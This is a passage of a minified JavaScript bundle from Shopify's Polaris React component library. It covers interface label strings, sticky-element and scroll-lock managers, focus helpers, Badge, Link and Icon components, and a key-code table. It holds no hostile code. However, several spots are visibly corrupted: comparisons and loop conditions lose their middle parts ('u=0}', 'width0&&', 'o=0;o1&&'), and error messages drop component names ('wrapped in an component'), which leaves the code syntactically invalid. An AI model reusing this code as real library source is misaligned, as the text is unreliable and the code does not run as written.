{resourceNamePlural}","selected":"{selectedItemsCount} selected","undo":"Undo","selectAllItems":"Select all {itemsLength}+ {resourceNamePlural}","selectItem":"Select {resourceName}","selectButtonText":"Select"},"Loading":{"label":"Page loading bar"},"Modal":{"iFrameTitle":"body markup","modalWarning":"These required properties are missing from Modal: {missingProps}"},"Page":{"Header":{"rollupActionsLabel":"View actions for {title}"}},"Pagination":{"previous":"Previous","next":"Next","pagination":"Pagination"},"ProgressBar":{"negativeWarningMessage":"Values passed to the progress prop shouldn\u2019t be negative. Resetting {progress} to 0.","exceedWarningMessage":"Values passed to the progress prop shouldn\u2019t exceed 100. Setting {progress} to 100."},"ResourceList":{"sortingLabel":"Sort by","defaultItemSingular":"item","defaultItemPlural":"items","showing":"Showing {itemsCount} {resource}","showingTotalCount":"Showing {itemsCount} of {totalItemsCount} {resource}","loading":"Loading {resource}","selected":"{selectedItemsCount} selected","allItemsSelected":"All {itemsLength}+ {resourceNamePlural} in your store are selected.","allFilteredItemsSelected":"All {itemsLength}+ {resourceNamePlural} in this filter are selected.","selectAllItems":"Select all {itemsLength}+ {resourceNamePlural} in your store","selectAllFilteredItems":"Select all {itemsLength}+ {resourceNamePlural} in this filter","emptySearchResultTitle":"No {resourceNamePlural} found","emptySearchResultDescription":"Try changing the filters or search term","selectButtonText":"Select","a11yCheckboxDeselectAllSingle":"Deselect {resourceNameSingular}","a11yCheckboxSelectAllSingle":"Select {resourceNameSingular}","a11yCheckboxDeselectAllMultiple":"Deselect all {itemsLength} {resourceNamePlural}","a11yCheckboxSelectAllMultiple":"Select all {itemsLength} {resourceNamePlural}","ariaLiveSingular":"{itemsLength} item","ariaLivePlural":"{itemsLength} items","Item":{"actionsDropdownLabel":"Actions for {accessibilityLabel}","actionsDropdown":"Actions dropdown","viewItem":"View details for {itemName}"},"BulkActions":{"actionsActivatorLabel":"Actions","moreActionsActivatorLabel":"More actions","warningMessage":"To provide a better user experience. There should only be a maximum of {maxPromotedActions} promoted actions."}},"SkeletonPage":{"loadingLabel":"Page loading"},"Tabs":{"toggleTabsLabel":"More tabs"},"Tag":{"ariaLabel":"Remove {children}"},"TextField":{"characterCount":"{count} characters","characterCountWithMaxLength":"{count} of {limit} characters used"},"TooltipOverlay":{"accessibilityLabel":"Tooltip: {label}"},"TopBar":{"toggleMenuLabel":"Toggle menu","SearchField":{"clearButtonLabel":"Clear","search":"Search"}},"MediaCard":{"popoverButton":"Actions"},"VideoThumbnail":{"playButtonA11yLabel":{"default":"Play video","defaultWithDuration":"Play video of length {duration}","duration":{"hours":{"other":{"only":"{hourCount} hours","andMinutes":"{hourCount} hours and {minuteCount} minutes","andMinute":"{hourCount} hours and {minuteCount} minute","minutesAndSeconds":"{hourCount} hours, {minuteCount} minutes, and {secondCount} seconds","minutesAndSecond":"{hourCount} hours, {minuteCount} minutes, and {secondCount} second","minuteAndSeconds":"{hourCount} hours, {minuteCount} minute, and {secondCount} seconds","minuteAndSecond":"{hourCount} hours, {minuteCount} minute, and {secondCount} second","andSeconds":"{hourCount} hours and {secondCount} seconds","andSecond":"{hourCount} hours and {secondCount} second"},"one":{"only":"{hourCount} hour","andMinutes":"{hourCount} hour and {minuteCount} minutes","andMinute":"{hourCount} hour and {minuteCount} minute","minutesAndSeconds":"{hourCount} hour, {minuteCount} minutes, and {secondCount} seconds","minutesAndSecond":"{hourCount} hour, {minuteCount} minutes, and {secondCount} second","minuteAndSeconds":"{hourCount} hour, {minuteCount} minute, and {secondCount} seconds","minuteAndSecond":"{hourCount} hour, {minuteCount} minute, and {secondCount} second","andSeconds":"{hourCount} hour and {secondCount} seconds","andSecond":"{hourCount} hour and {secondCount} second"}},"minutes":{"other":{"only":"{minuteCount} minutes","andSeconds":"{minuteCount} minutes and {secondCount} seconds","andSecond":"{minuteCount} minutes and {secondCount} second"},"one":{"only":"{minuteCount} minute","andSeconds":"{minuteCount} minute and {secondCount} seconds","andSecond":"{minuteCount} minute and {secondCount} second"}},"seconds":{"other":"{secondCount} seconds","one":"{secondCount} second"}}}}}}'),d=n(5671),f=n(3144);function p(e,t){return p=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e},p(e,t)}function h(e,t){if("function"!==typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&p(e,t)}function m(e){return m=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)},m(e)}function v(){if("undefined"===typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"===typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}function g(e){return g="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},g(e)}function b(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function y(e,t){if(t&&("object"===g(t)||"function"===typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return b(e)}function w(e){var t=v();return function(){var n,r=m(e);if(t){var a=m(this).constructor;n=Reflect.construct(r,arguments,a)}else n=r.apply(this,arguments);return y(this,n)}}n(8210);var x=n(8573),E=n.n(x),S=100,k="20px",_={"data-polaris-scrollable":!0},C="[data-polaris-scrollable]",P={props:{"data-polaris-overlay":!0},selector:"[data-polaris-overlay]"},N={props:{"data-polaris-layer":!0},selector:"[data-polaris-layer]"},T={"data-polaris-unstyled":!0},A={"data-polaris-top-bar":!0},M="[data-polaris-top-bar]",L={"data-polaris-header-cell":!0},O="[data-polaris-header-cell]",F="[data-portal-id]",I="768px",j="1043px",R={media:"",addListener:B,removeListener:B,matches:!1,onchange:B,addEventListener:B,removeEventListener:B,dispatchEvent:function(e){return!0}};function B(){}function D(){return"undefined"===typeof window?R:window.matchMedia("(max-width: ".concat(I,")"))}var H=function(){function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.top,r=void 0===n?0:n,a=t.left,o=void 0===a?0:a,i=t.width,l=void 0===i?0:i,s=t.height,u=void 0===s?0:s;(0,d.Z)(this,e),this.top=void 0,this.left=void 0,this.width=void 0,this.height=void 0,this.top=r,this.left=o,this.width=l,this.height=u}return(0,f.Z)(e,[{key:"center",get:function(){return{x:this.left+this.width/2,y:this.top+this.height/2}}}],[{key:"zero",get:function(){return new e}}]),e}();function z(e){if(!(e instanceof Element))return new H({width:window.innerWidth,height:window.innerHeight});var t=e.getBoundingClientRect();return new H({top:t.top,left:t.left,width:t.width,height:t.height})}var U=1e3/60,W=function(){function e(t){var n=this;(0,d.Z)(this,e),this.stickyItems=[],this.stuckItems=[],this.container=null,this.topBarOffset=0,this.handleResize=E()((function(){n.manageStickyItems()}),U,{leading:!0,trailing:!0,maxWait:U}),this.handleScroll=E()((function(){n.manageStickyItems()}),U,{leading:!0,trailing:!0,maxWait:U}),t&&this.setContainer(t)}return(0,f.Z)(e,[{key:"registerStickyItem",value:function(e){this.stickyItems.push(e)}},{key:"unregisterStickyItem",value:function(e){var t=this.stickyItems.findIndex((function(t){var n=t.stickyNode;return e===n}));this.stickyItems.splice(t,1)}},{key:"setContainer",value:function(e){this.container=e,V(e)&&this.setTopBarOffset(e),this.container.addEventListener("scroll",this.handleScroll),window.addEventListener("resize",this.handleResize),this.manageStickyItems()}},{key:"removeScrollListener",value:function(){this.container&&(this.container.removeEventListener("scroll",this.handleScroll),window.removeEventListener("resize",this.handleResize))}},{key:"manageStickyItems",value:function(){var e=this;if(!(this.stickyItems.length<=0)){var t,n=this.container?V(t=this.container)?document.body.scrollTop||document.documentElement.scrollTop:t.scrollTop:0,r=z(this.container).top+this.topBarOffset;this.stickyItems.forEach((function(t){var a=t.handlePositioning,o=e.evaluateStickyItem(t,n,r),i=o.sticky,l=o.top,s=o.left,u=o.width;e.updateStuckItems(t,i),a(i,l,s,u)}))}}},{key:"evaluateStickyItem",value:function(e,t,n){var r=e.stickyNode,a=e.placeHolderNode,o=e.boundingElement,i=e.offset;if(e.disableWhenStacked&&("undefined"===typeof window?R:window.matchMedia("(max-width: ".concat(j,")"))).matches)return{sticky:!1,top:0,left:0,width:"auto"};var l,s=i?this.getOffset(r)+parseInt(k,10):this.getOffset(r),u=t+s,c=a.getBoundingClientRect().top-n+t,d=n+s,f=a.getBoundingClientRect().width,p=a.getBoundingClientRect().left;if(null==o)l=u>=c;else{var h,m=r.getBoundingClientRect().height||(null===(h=r.firstElementChild)||void 0===h?void 0:h.getBoundingClientRect().height)||0,v=o.getBoundingClientRect().bottom-m+t-n;l=u>=c&&u=0}},{key:"setTopBarOffset",value:function(e){var t=e.querySelector(":not(".concat(C,") ").concat(M));this.topBarOffset=t?t.clientHeight:0}}]),e}();function V(e){return e===document}function q(e,t){var n=e.left,r=e.left+e.width,a=t.left;return t.left+t.width0&&!this.locked&&($=window.pageYOffset,t.setAttribute(K,""),n&&(n.setAttribute(G,""),n.scrollTop=$),this.locked=!0)}}},{key:"resetScrollPosition",value:function(){$=0}}]),e}(),Q=function(){function e(t){(0,d.Z)(this,e),this.idGeneratorFactory=void 0,this.idGenerators={},this.idGeneratorFactory=t}return(0,f.Z)(e,[{key:"nextId",value:function(e){return this.idGenerators[e]||(this.idGenerators[e]=this.idGeneratorFactory(e)),this.idGenerators[e]()}}]),e}();function X(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=1;return function(){return"Polaris".concat(e).concat(t++)}}var J=n(907);var ee=n(181);function te(e){return function(e){if(Array.isArray(e))return(0,J.Z)(e)}(e)||function(e){if("undefined"!==typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||(0,ee.Z)(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function ne(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!==typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=n){var r,a,o=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(o.push(r.value),!t||o.length!==t);i=!0);}catch(s){l=!0,a=s}finally{try{i||null==n.return||n.return()}finally{if(l)throw a}}return o}}(e,t)||(0,ee.Z)(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}var re=/\[(.*?)\]|(\w+)/g;function ae(e,t,n){if(null!=e){for(var r=Array.isArray(t)?t:function(e){var t,n=[];for(;t=re.exec(e);){var r=ne(t,3),a=r[1],o=r[2];n.push(a||o)}return n}(t),a=e,o=0;o1&&void 0!==arguments[1]?arguments[1]:De(),n=(0,r.useRef)(e);return t(n.current,e)||(n.current=e),n.current}function ze(e,t,n){(0,r.useEffect)(e,He(t,n))}function Ue(e,t,n){return Ue=v()?Reflect.construct:function(e,t,n){var r=[null];r.push.apply(r,t);var a=new(Function.bind.apply(e,r));return n&&p(a,n.prototype),a},Ue.apply(null,arguments)}function We(e){var t="function"===typeof Map?new Map:void 0;return We=function(e){if(null===e||(n=e,-1===Function.toString.call(n).indexOf("[native code]")))return e;var n;if("function"!==typeof e)throw new TypeError("Super expression must either be null or a function");if("undefined"!==typeof t){if(t.has(e))return t.get(e);t.set(e,r)}function r(){return Ue(e,arguments,m(this).constructor)}return r.prototype=Object.create(e.prototype,{constructor:{value:r,enumerable:!1,writable:!0,configurable:!0}}),p(r,e)},We(e)}var Ve=function(e){h(n,e);var t=w(n);function n(){var e,r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return(0,d.Z)(this,n),(e=t.call(this,"".concat(r?"".concat(r," "):r,"Your application must be wrapped in an component. See https://polaris.shopify.com/components/structure/app-provider for implementation instructions."))).name="MissingAppProviderError",e}return(0,f.Z)(n)}(We(Error));function qe(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=(0,r.useContext)(he),a=(0,r.useRef)(null);if(!n)throw new Ve("No UniqueIdFactory was provided.");return t||(a.current||(a.current=n.nextId(e)),a.current)}var Ze=(0,r.createContext)(void 0);function Ke(){var e=(0,r.useContext)(Ze);if(!e)throw new Error("No Frame context was provided. Your component must be wrapped in a component. See https://polaris.shopify.com/components/structure/frame for implementation instructions.");return e}var Ge,$e=(0,r.memo)((function(e){var t=qe("Toast"),n=Ke(),r=n.showToast,a=n.hideToast;return ze((function(){return r(l({id:t},e)),function(){a({id:t})}}),[e]),null})),Ye=(0,r.memo)((function(e){var t=e.message,n=e.saveAction,a=e.discardAction,o=e.alignContentFlush,i=e.fullWidth,l=e.contextControl,s=Ke(),u=s.setContextualSaveBar,c=s.removeContextualSaveBar;return(0,r.useEffect)((function(){u({message:t,saveAction:n,discardAction:a,alignContentFlush:o,fullWidth:i,contextControl:l})}),[t,n,a,o,u,i,l]),(0,r.useEffect)((function(){return c}),[c]),null})),Qe=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Ge||(Ge=r.createElement("path",{d:"M19 11H1a1 1 0 0 1 0-2h18a1 1 0 1 1 0 2zm0-7H1a1 1 0 0 1 0-2h18a1 1 0 1 1 0 2zm0 14H1a1 1 0 0 1 0-2h18a1 1 0 0 1 0 2z"})))};function Xe(){for(var e=arguments.length,t=new Array(e),n=0;n0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"width",r="number"===typeof e?e:tt(e,n);return"".concat(r||t,"px")}function rt(e){var t=ne((0,r.useState)(e),2),n=t[0],a=t[1];return{value:n,toggle:(0,r.useCallback)((function(){return a((function(e){return!e}))}),[]),setTrue:(0,r.useCallback)((function(){return a(!0)}),[]),setFalse:(0,r.useCallback)((function(){return a(!1)}),[])}}var at,ot="Polaris-TopBar",it="Polaris-TopBar__LogoDisplayControl",lt="Polaris-TopBar__LogoDisplayContainer",st="Polaris-TopBar__LogoContainer",ut="Polaris-TopBar__Logo",ct="Polaris-TopBar__LogoLink",dt="Polaris-TopBar__ContextControl",ft="Polaris-TopBar__NavigationIcon",pt="Polaris-TopBar--focused",ht="Polaris-TopBar__Contents",mt="Polaris-TopBar__SearchField",vt="Polaris-TopBar__SecondaryMenu",gt="Polaris-TopBar-Search",bt="Polaris-TopBar-Search__SearchContent",yt="Polaris-TopBar-Search--visible",wt="Polaris-TopBar-Search__Results",xt="Polaris-TopBar-SearchDismissOverlay",Et="Polaris-TopBar-SearchDismissOverlay--visible";function St(e){var t=function(){var e=(0,r.useContext)(fe);if(!e)throw new Ve("No ScrollLockManager was provided.");return e}();return(0,r.useEffect)((function(){return t.registerScrollLock(),function(){t.unregisterScrollLock()}}),[t]),null}function kt(e){var t=e.onDismiss,n=e.visible,a=(0,r.useRef)(null),o=(0,r.useCallback)((function(e){e.target===a.current&&null!=t&&t()}),[t]);return r.createElement(r.Fragment,null,n?r.createElement(St,null):null,r.createElement("div",{ref:a,className:Xe(xt,n&&Et),onClick:o}))}function _t(e){var t=e.visible,n=e.children,a=e.onDismiss,o=e.overlayVisible,i=void 0!==o&&o;if(null==n)return null;var l=t?r.createElement(kt,{onDismiss:a,visible:i}):null;return r.createElement(r.Fragment,null,l,r.createElement("div",{className:Xe(gt,t&&yt)},r.createElement(_e,{theme:{colorScheme:"dark"}},r.createElement("div",{className:bt},r.createElement("div",{className:wt},n)))))}var Ct,Pt=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),at||(at=r.createElement("path",{fillRule:"evenodd",d:"M10 2a8 8 0 1 0 0 16 8 8 0 0 0 0-16zM7.707 6.293a1 1 0 0 0-1.414 1.414L8.586 10l-2.293 2.293a1 1 0 1 0 1.414 1.414L10 11.414l2.293 2.293a1 1 0 1 0 1.414-1.414L11.414 10l2.293-2.293a1 1 0 0 0-1.414-1.414L10 8.586 7.707 6.293z"})))},Nt=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Ct||(Ct=r.createElement("path",{d:"M8 12a4 4 0 1 1 0-8 4 4 0 0 1 0 8zm9.707 4.293-4.82-4.82A5.968 5.968 0 0 0 14 8 6 6 0 0 0 2 8a6 6 0 0 0 6 6 5.968 5.968 0 0 0 3.473-1.113l4.82 4.82a.997.997 0 0 0 1.414 0 .999.999 0 0 0 0-1.414z"})))},Tt="Polaris-TopBar-SearchField",At="Polaris-TopBar-SearchField--focused",Mt="Polaris-TopBar-SearchField__Input",Lt="Polaris-TopBar-SearchField__Backdrop",Ot="Polaris-TopBar-SearchField__BackdropShowFocusBorder",Ft="Polaris-TopBar-SearchField__Icon",It="Polaris-TopBar-SearchField__Clear";function jt(){var e=(0,r.useContext)(de);if(!e)throw new Ve("No i18n was provided.");return e}var Rt={Icon:"Polaris-Icon",applyColor:"Polaris-Icon--applyColor",hasBackdrop:"Polaris-Icon--hasBackdrop",colorBase:"Polaris-Icon--colorBase",colorSubdued:"Polaris-Icon--colorSubdued",colorCritical:"Polaris-Icon--colorCritical",colorInteractive:"Polaris-Icon--colorInteractive",colorWarning:"Polaris-Icon--colorWarning",colorHighlight:"Polaris-Icon--colorHighlight",colorSuccess:"Polaris-Icon--colorSuccess",colorPrimary:"Polaris-Icon--colorPrimary",Svg:"Polaris-Icon__Svg",Img:"Polaris-Icon__Img",Placeholder:"Polaris-Icon__Placeholder"},Bt="Polaris-VisuallyHidden";function Dt(e){var t=e.children;return r.createElement("span",{className:Bt},t)}var Ht=["base","critical","highlight","success","warning"];function zt(e){var t,n=e.source,a=e.color,o=e.backdrop,i=e.accessibilityLabel;t="function"===typeof n?"function":"placeholder"===n?"placeholder":"external",o&&a&&Ht.includes(a);var l=Xe(Rt.Icon,a&&Rt[Je("color",a)],a&&Rt.applyColor,o&&Rt.hasBackdrop),s=n,u={function:r.createElement(s,{className:Rt.Svg,focusable:"false","aria-hidden":"true"}),placeholder:r.createElement("div",{className:Rt.Placeholder}),external:r.createElement("img",{className:Rt.Img,src:"data:image/svg+xml;utf8,".concat(n),alt:"","aria-hidden":"true"})};return r.createElement("span",{className:l},r.createElement(Dt,null,i),u[t])}function Ut(e){"Enter"===e.key&&e.preventDefault()}var Wt="Polaris-TopBar-UserMenu__Details",Vt="Polaris-TopBar-UserMenu__Name",qt="Polaris-TopBar-UserMenu__Detail",Zt="Polaris-MessageIndicator__MessageIndicatorWrapper",Kt="Polaris-MessageIndicator";function Gt(e){var t=e.children,n=e.active&&r.createElement("div",{className:Kt});return r.createElement("div",{className:Zt},n,t)}var $t,Yt="Polaris-TopBar-Menu__ActivatorWrapper",Qt="Polaris-TopBar-Menu__Activator",Xt="Polaris-Menu-Message__Section",Jt=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),$t||($t=r.createElement("path",{d:"M14 13v1a1 1 0 0 1-1 1H6c-.575 0-1-.484-1-1V7a1 1 0 0 1 1-1h1c1.037 0 1.04 1.5 0 1.5-.178.005-.353 0-.5 0v6h6V13c0-1 1.5-1 1.5 0zm-3.75-7.25A.75.75 0 0 1 11 5h4v4a.75.75 0 0 1-1.5 0V7.56l-3.22 3.22a.75.75 0 1 1-1.06-1.06l3.22-3.22H11a.75.75 0 0 1-.75-.75z"})))},en=(0,r.createContext)(!1),tn="Polaris-Link",nn="Polaris-Link__IconLockup",rn="Polaris-Link__IconLayout",an="Polaris-Link--monochrome",on="Polaris-Link--removeUnderline";var ln=["external","url"],sn=(0,r.memo)((0,r.forwardRef)((function(e,t){var n=(0,r.useContext)(me);if(n)return r.createElement(n,Object.assign({},T,e));var a=e.external,o=e.url,i=u(e,ln),l=a?"_blank":void 0,s=a?"noopener noreferrer":void 0;return r.createElement("a",Object.assign({target:l},i,{href:o,rel:s},T))})));function un(e){var t=e.url,n=e.children,a=e.onClick,o=e.external,i=e.id,l=e.monochrome,s=e.removeUnderline,u=e.accessibilityLabel,c=jt(),d=n;if(o&&"string"===typeof n){var f=c.translate("Polaris.Common.newWindowAccessibilityHint");d=r.createElement(r.Fragment,null,n,r.createElement("span",{className:nn},r.createElement("span",{className:rn},r.createElement(zt,{accessibilityLabel:f,source:Jt}))))}return r.createElement(en.Consumer,null,(function(e){var n=Xe(tn,(l||e)&&an,s&&on);return t?r.createElement(sn,{onClick:a,className:n,url:t,external:o,id:i,"aria-label":u},d):r.createElement("button",{type:"button",onClick:a,className:n,id:i,"aria-label":u},d)}))}var cn=(0,r.createContext)(!1),dn={Badge:"Polaris-Badge",sizeSmall:"Polaris-Badge--sizeSmall",statusSuccess:"Polaris-Badge--statusSuccess",statusInfo:"Polaris-Badge--statusInfo",statusAttention:"Polaris-Badge--statusAttention",statusWarning:"Polaris-Badge--statusWarning",statusCritical:"Polaris-Badge--statusCritical",statusNew:"Polaris-Badge--statusNew",Pip:"Polaris-Badge__Pip",progressIncomplete:"Polaris-Badge--progressIncomplete",progressPartiallyComplete:"Polaris-Badge--progressPartiallyComplete",progressComplete:"Polaris-Badge--progressComplete",withinFilter:"Polaris-Badge--withinFilter"},fn="incomplete",pn="partiallyComplete",hn="complete",mn="info",vn="success",gn="warning",bn="critical",yn="attention",wn="new",xn="medium";function En(e){var t=e.children,n=e.status,a=e.progress,o=e.size,i=void 0===o?xn:o,l=e.statusAndProgressLabelOverride,s=jt(),u=(0,r.useContext)(cn),c=Xe(dn.Badge,n&&dn[Je("status",n)],a&&dn[Je("progress",a)],i&&i!==xn&&dn[Je("size",i)],u&&dn.withinFilter),d="";switch(a){case fn:d=s.translate("Polaris.Badge.PROGRESS_LABELS.incomplete");break;case pn:d=s.translate("Polaris.Badge.PROGRESS_LABELS.partiallyComplete");break;case hn:d=s.translate("Polaris.Badge.PROGRESS_LABELS.complete")}var f="";switch(n){case mn:f=s.translate("Polaris.Badge.STATUS_LABELS.info");break;case vn:f=s.translate("Polaris.Badge.STATUS_LABELS.success");break;case gn:f=s.translate("Polaris.Badge.STATUS_LABELS.warning");break;case bn:f=s.translate("Polaris.Badge.STATUS_LABELS.critical");break;case yn:f=s.translate("Polaris.Badge.STATUS_LABELS.attention");break;case wn:f=s.translate("Polaris.Badge.STATUS_LABELS.new")}var p=l||s.translate("Polaris.Badge.progressAndStatus",{progressLabel:d,statusLabel:f}),h=(d||f||l)&&r.createElement(Dt,null,p);return d&&(h=r.createElement("span",{className:dn.Pip},h)),r.createElement("span",{className:c},h,t)}var Sn=n(7762);function kn(e){var t=e.getBoundingClientRect(),n=t.top,r=t.left,a=t.bottom,o=t.right;return n>=0&&o<=window.innerWidth&&a<=window.innerHeight&&r>=0}var _n="a,frame,iframe,input:not([type=hidden]):not(:disabled),select:not(:disabled),textarea:not(:disabled),button:not(:disabled),*[tabindex]",Cn='a,frame,iframe,input:not([type=hidden]):not(:disabled),select:not(:disabled),textarea:not(:disabled),button:not(:disabled),*[tabindex]:not([tabindex="-1"])',Pn=function(e){return e.currentTarget.blur()};function Nn(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return!t&&jn(e,_n)?e:e.querySelector(_n)}function Tn(e){var t="a,button,frame,iframe,input:not([type=hidden]),select,textarea,*[tabindex]";return jn(e,t)?e:e.querySelector(t)}function An(e){var t,n=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];null===(t=Nn(e,n))||void 0===t||t.focus()}function Mn(e,t){var n=function(e,t){var n,r=te(document.querySelectorAll(_n)),a=r.indexOf(e)+1,o=r.slice(a),i=(0,Sn.Z)(o);try{for(i.s();!(n=i.n()).done;){var l=n.value;if(kn(l)&&(!t||t&&t(l)))return l}}catch(s){i.e(s)}finally{i.f()}return null}(e,t);return!!(n&&n instanceof HTMLElement)&&(n.focus(),!0)}function Ln(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return!t&&jn(e,Cn)?e:e.querySelector(Cn)}function On(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];if(!t&&jn(e,Cn))return e;var n=e.querySelectorAll(Cn);return n[n.length-1]}function Fn(e){return e.querySelectorAll('a[role="menuitem"],frame[role="menuitem"],iframe[role="menuitem"],input[role="menuitem"]:not([type=hidden]):not(:disabled),select[role="menuitem"]:not(:disabled),textarea[role="menuitem"]:not(:disabled),button[role="menuitem"]:not(:disabled),*[tabindex]:not([tabindex="-1"])')}function In(e,t){var n,r=0,a=(0,Sn.Z)(e);try{for(a.s();!(n=a.n()).done;){if(n.value===t)break;r++}}catch(o){a.e(o)}finally{a.f()}return r===e.length?-1:r}function jn(e,t){if(e.matches)return e.matches(t);for(var n=(e.ownerDocument||document).querySelectorAll(t),r=n.length;--r>=0&&n.item(r)!==e;)return r>-1}function Rn(e){var t=e.children,n=e.idPrefix,o=void 0===n?"":n,i=e.onPortalCreated,l=void 0===i?Bn:i,s=function(){var e=(0,r.useContext)(Me);if(!e)throw new Error("No portals manager was provided. Your application must be wrapped in an component. See https://polaris.shopify.com/components/structure/app-provider for implementation instructions.");return e}().container,u=qe("portal"),c=""!==o?"".concat(o,"-").concat(u):u;return(0,r.useEffect)((function(){l()}),[l]),s?(0,a.createPortal)(r.createElement("div",{"data-portal-id":c},t),s):null}function Bn(){}function Dn(e,t,n){return null==e?null:Un(e,t)?e:r.createElement(t,n,e)}var Hn,zn=function(e,t){return e===t};function Un(e,t){var n;if(null==e||!(0,r.isValidElement)(e)||"string"===typeof e.type)return!1;var a=e.type,o=(null===(n=e.props)||void 0===n?void 0:n.__type__)||a;return(Array.isArray(t)?t:[t]).some((function(e){return"string"!==typeof o&&zn(e,o)}))}function Wn(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:function(){return!0};return r.Children.toArray(e).filter((function(e){return(0,r.isValidElement)(e)&&t(e)}))}function Vn(e){var t=e.condition,n=e.wrapper,r=e.children;return t?n(r):r}function qn(e){var t=e.condition,n=e.children;return t?n:null}!function(e){e[e.Backspace=8]="Backspace",e[e.Tab=9]="Tab",e[e.Enter=13]="Enter",e[e.Shift=16]="Shift",e[e.Ctrl=17]="Ctrl",e[e.Alt=18]="Alt",e[e.Pause=19]="Pause",e[e.CapsLock=20]="CapsLock",e[e.Escape=27]="Escape",e[e.Space=32]="Space",e[e.PageUp=33]="PageUp",e[e.PageDown=34]="PageDown",e[e.End=35]="End",e[e.Home=36]="Home",e[e.LeftArrow=37]="LeftArrow",e[e.UpArrow=38]="UpArrow",e[e.RightArrow=39]="RightArrow",e[e.DownArrow=40]="DownArrow",e[e.Insert=45]="Insert",e[e.Delete=46]="Delete",e[e.Key0=48]="Key0",e[e.Key1=49]="Key1",e[e.Key2=50]="Key2",e[e.Key3=51]="Key3",e[e.Key4=52]="Key4",e[e.Key5=53]="Key5",e[e.Key6=54]="Key6",e[e.Key7=55]="Key7",e[e.Key8=56]="Key8",e[e.Key9=57]="Key9",e[e.KeyA=65]="KeyA",e[e.KeyB=66]="KeyB",e[e.KeyC=67]="KeyC",e[e.KeyD=68]="KeyD",e[e.KeyE=69]="KeyE",e[e.KeyF=70]="KeyF",e[e.KeyG=71]="KeyG",e[e.KeyH=72]="KeyH",e[e.KeyI=73]="KeyI",e[e.KeyJ=74]="KeyJ",e[e.KeyK=75]="KeyK",e[e.KeyL=76]="KeyL",e[e.KeyM=77]="KeyM",e[e.KeyN=78]="KeyN",e[e.KeyO=79]="KeyO",e[e.KeyP=80]="KeyP",e[e.KeyQ=81]="KeyQ",e[e.KeyR=82]="KeyR",e[e.KeyS=83]="KeyS",e[e.KeyT=84]="KeyT",e[e.KeyU=85]="KeyU",e[e.KeyV=86]="KeyV",e[e.KeyW=87]="KeyW",e[e.KeyX=88]="KeyX",e[e.KeyY=89]="KeyY",e[e.KeyZ=90]="KeyZ",e[e.LeftMeta=91]="LeftMeta",e[e.RightMeta=92]="RightMeta",e[e.Select=93]="Select",e[e.Numpad0=96]="Numpad0",e[e.Numpad1=97]="Numpad1",e[e.Numpad2=98]="Numpad2",e[e.Numpad3=99]="Numpad3",e[e.Numpad4=100]="Numpad4",e[e.Numpad5=101]="Numpad5",e[e.Numpad6=102]="Numpad6",e[e.Numpad7=103]="Numpad7",e[e.Numpad8=104]="Numpad8",e[e.Numpad9=105]="Numpad9",e[e.Multiply=106]="Multiply",e[e.Add=107]="Add",e[e.Subtract=109]="Subtract",e[e.Decimal=110]="Decimal",e[e.Divide=111]="Divide",e[e.F1=112]="F1",e[e.F2=113]="F2",e[e.F3=114]="F3",e[e.F4=115]="F4",e[e.F5=116]="F5",e[e.F6=117]="F6",e[e.F7=118]="F7",e[e.F8=119]="F8",e[e.F9=120]="F9",e[e.F10=121]="F10",e[e.F11=122]="F11",e[e.F12=123]="F12",e[e.NumLock=144]="NumLock",e[e.ScrollLock=145]="ScrollLock",e[e.Semicolon=186]="Semicolon",e[e.Equals=187]="Equals",e[e.Comma=188]="Comma",e[e.Dash=189]="Dash",e[e.Period=190]="Period",e[e.ForwardSlash=191]="ForwardSlash",e[e.GraveAccent=192]="GraveAccent",e[e.OpenBracket=219]="OpenBracket",e[e.BackSlash=220]="BackSlash",e[e.CloseBracket=221]="CloseBracket",e[e.SingleQuote=222]="SingleQuote"}(Hn||(Hn={}));var 